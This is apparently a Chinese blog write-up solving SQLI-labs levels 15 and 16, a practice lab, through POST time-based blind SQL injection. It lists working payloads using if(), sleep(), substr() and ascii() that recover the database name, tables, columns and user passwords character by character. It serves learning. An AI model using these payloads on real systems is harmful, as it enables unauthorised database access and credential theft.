SQLI-labs-第十五关和第十六关

发布于:2024-05-09 ⋅ 阅读:(28) ⋅ 点赞:(0)

目录

知识点:

第十五关

1、判断注入点

2、判断当前数据库

3、判断表名

4、判断字段名

5、爆值

第十六关

1、判断注入点


知识点:

POST方式的时间盲注

对应的函数利用,可参考SQLI-labs-第九关和第十关_sqllab第十关-CSDN博客

第十五关

原理:

1、判断注入点

输入正常的数据,没有任何回显

加入单引号、双引号、括号等,都没有任何回显信息,这里可以判断为时间盲注

输入  admin' and if(length(database())>1,sleep(5),1)#

会延时5秒钟

说明当前是单引号闭合错误

这里有一个问题,使用字符就可以显示出结果,数字就不行,这个没搞懂,麻烦大神指点一下

admin' and if(length(database())>1,sleep(5),1)#    可以延时5秒

1' and if(length(database())>1,sleep(5),1)#      不会延时

2、判断当前数据库

使用函数if(),length()、sleep()、substr()、ascii()

admin' and if(length(database())=8,sleep(5),1)#

说明当前数据库长度为8位

接下来判断数据库的字符,从a开始尝试

admin' and if(ascii(substr(database(),1,1))=97,sleep(5),1)#

结果没有延时

尝试到s的时候出现了延时,说明数据库名第一个字符为s

admin' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#

以此类推,通过修改substr()函数的值,可以得到当前数据库名为security

3、判断表名

还是一样,判断第一个表名的一个个字符,从a开始判断

admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=97,sleep(5),1)#

admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)#

以此类推,通过修改limit和substr的值,可以判断出4个表为  emails 、referers、uagents、users

4、判断字段名

以users表为例

admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)#

以此类推,可以推断出三个字段为:id、username、password

5、爆值

admin' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1)#

admin' and if(ascii(substr((select password from security.users limit 0,1),1,1))=68,sleep(5),1)#

以此类推,可以得到数据库的数据


第十六关

原理:

1、判断注入点

因为输入任何信息都没有回显,所以只能采用时间盲注的方式来进行判断,在输入的值后面分别尝试加入’ " ) 等进行尝试

admin") and if(length(database())>1,sleep(5),1) #

接下来的步骤就跟上面的一致,使用ascii、substr函数等进行注入


这篇文章就写到这里了,有哪里不足,欢迎批评指正!


网站公告

今日签到

点亮在社区的每一天
去签到